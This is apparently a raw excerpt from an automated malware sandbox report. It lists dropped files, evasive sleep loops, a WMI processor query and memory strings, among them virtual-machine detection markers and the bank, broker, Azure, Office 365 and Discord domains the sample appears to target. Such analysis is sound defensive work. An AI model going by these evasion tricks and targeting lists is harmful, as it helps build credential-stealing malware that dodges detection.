Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-J1NGJ.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-P9O5E.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-1NPB1.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\softjenimmp3converter.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-Q23S7.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-INE33.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\Qt5Xml.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\Qt5Svg.dll (copy)	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Protect544cd51a.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\openh264.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\msvcp140_1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-8JVHL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-J1NGJ.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-P0TNH.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-HI6SG.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-5MHG6.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-0UKVK.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7zS76DB.tmp\Install.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\7zS933D.tmp\Install.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\Qt5WinExtras.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-ARFBB.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\msvcr120.dll (copy)	Jump to dropped file

Found large amount of non-executed APIs

Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe

API coverage: 6.1 %

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe TID: 3224	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe TID: 408	Thread sleep count: 89 > 30	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe TID: 7064	Thread sleep count: 1771 > 30	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe TID: 7064	Thread sleep time: -354200s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe TID: 408	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe TID: 1272	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe TID: 2584	Thread sleep count: 175 > 30	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe TID: 2584	Thread sleep count: 63 > 30	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe TID: 4444	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe TID: 4280	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe TID: 6112	Thread sleep count: 118 > 30
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe TID: 6112	Thread sleep count: 59 > 30
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe TID: 6112	Thread sleep count: 47 > 30
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe TID: 7336	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe TID: 1960	Thread sleep count: 159 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2636	Thread sleep time: -922337203685477s >= -30000s

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Sample execution stops while process was sleeping (likely an evasion)

Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Last function: Thread delayed
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Last function: Thread delayed
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Last function: Thread delayed

Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe

Code function: 10_2_00CF46C6 FindFirstFileExW,

10_2_00CF46C6

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	File opened: C:\Users\user\AppData\Local\Temp\7zS76DB.tmp\	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	File opened: C:\Users\user\AppData\Local\Temp\7zS76DB.tmp\__data__\	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior

Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 2012 Server Standard without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Essential Server Solutions without Hyper-V
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3401785984.0000000001337000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: #Windows 10 Microsoft Hyper-V Server
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Microsoft Hyper-V Server
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Standard without Hyper-V
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Microsoft Hyper-V Server
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 11 Server Enterprise without Hyper-V (full)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 2016 Server Standard without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Standard without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 11 Server Enterprise without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3405203148.00000000017D7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8f
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3344538546.00000000076A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: billing_address_id.comVMware20,116964288
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: (Windows 2012 R2 Microsoft Hyper-V Server
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 6Windows 2012 R2 Server Standard without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Microsoft Hyper-V Server
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Datacenter without Hyper-V (core)
Source: pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000002.3404516846.000000000116B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000&
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Datacenter without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 0Windows 8 Server Standard without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 6Windows 8.1 Essential Server Solutions without Hyper-V
Source: pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000002.3404516846.000000000116B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: #disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3344538546.00000000076A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: vmware
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3344538546.00000000076A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ebrokers.co.inVMware20,11696428655d
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Standard without Hyper-V
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8 Essential Server Solutions without Hyper-V
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (full)
Source: MSBuild.exe, 00000021.00000002.2873629498.0000000003015000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \qemu-ga.exe
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Essential Server Solutions without Hyper-V
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (full)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3344538546.00000000076A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000003.3017436953.0000000000FB0000.00000004.00001000.00020000.00000000.sdmp, pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000003.3024612360.0000000000FB0000.00000004.00001000.00020000.00000000.sdmp, pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000003.3052210818.0000000000FB0000.00000004.00001000.00020000.00000000.sdmp, tDrDIT3EJ93dpzmmxTIMr4ah.exe, 0000000D.00000003.3350733727.0000000000FE0000.00000004.00001000.00020000.00000000.sdmp, tDrDIT3EJ93dpzmmxTIMr4ah.exe, 0000000D.00000003.3350390503.0000000000FE0000.00000004.00001000.00020000.00000000.sdmp, tDrDIT3EJ93dpzmmxTIMr4ah.exe, 0000000D.00000003.3352792646.0000000000FE0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: \SystemRoot\system32\ntkrnlm.exeSDT\VBOX__
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: "Windows 8 Microsoft Hyper-V Server
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (full)
Source: tDrDIT3EJ93dpzmmxTIMr4ah.exe, 0000000D.00000002.3405422471.0000000000DCE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 11 Server Datacenter without Hyper-V (full)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Standard without Hyper-V
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.2913797282.00000000017EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Microsoft Hyper-V Server
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3344538546.00000000076A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,116
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3405203148.00000000017E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}5H
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Standard without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Essential Server Solutions without Hyper-V
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3344538546.00000000076A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Hyper-V (guest)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3344538546.00000000076A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s.portal.azure.comVMware20,11696428655
Source: pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000002.3404516846.000000000116B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}&
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Essential Server Solutions without Hyper-V
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Microsoft Hyper-V Server
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3344538546.00000000076A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000DE7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ~VirtualMachineTypes
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000DE7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ]DLL_Loader_VirtualMachine
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Microsoft Hyper-V Server
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000DE7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: DLL_Loader_Marker]DLL_Loader_VirtualMachineZDLL_Loader_Reloc_Unit
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: /Windows 2012 R2 Server Standard without Hyper-V
Source: pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000003.2982629679.0000000000FB0000.00000004.00001000.00020000.00000000.sdmp, tDrDIT3EJ93dpzmmxTIMr4ah.exe, 0000000D.00000003.3347867073.0000000000FE0000.00000004.00001000.00020000.00000000.sdmp, 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000003.2872479218.0000000000B60000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: \SystemRoot\system32\ntkrnlmp.exeST\VBOX__
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3344538546.00000000076A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .comVMware20,116964288
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: )Windows 8 Server Standard without Hyper-V
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Standard without Hyper-V
Source: pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000003.2983649018.0000000000FB0000.00000004.00001000.00020000.00000000.sdmp, tDrDIT3EJ93dpzmmxTIMr4ah.exe, 0000000D.00000003.3348492841.0000000000FE0000.00000004.00001000.00020000.00000000.sdmp, 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000003.2873237743.0000000000B60000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: \SystemRoot\system32\ntkrnmp.exeSDT\VBOX__
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Enterprise without Hyper-V (full)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Datacenter without Hyper-V (full)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (core)
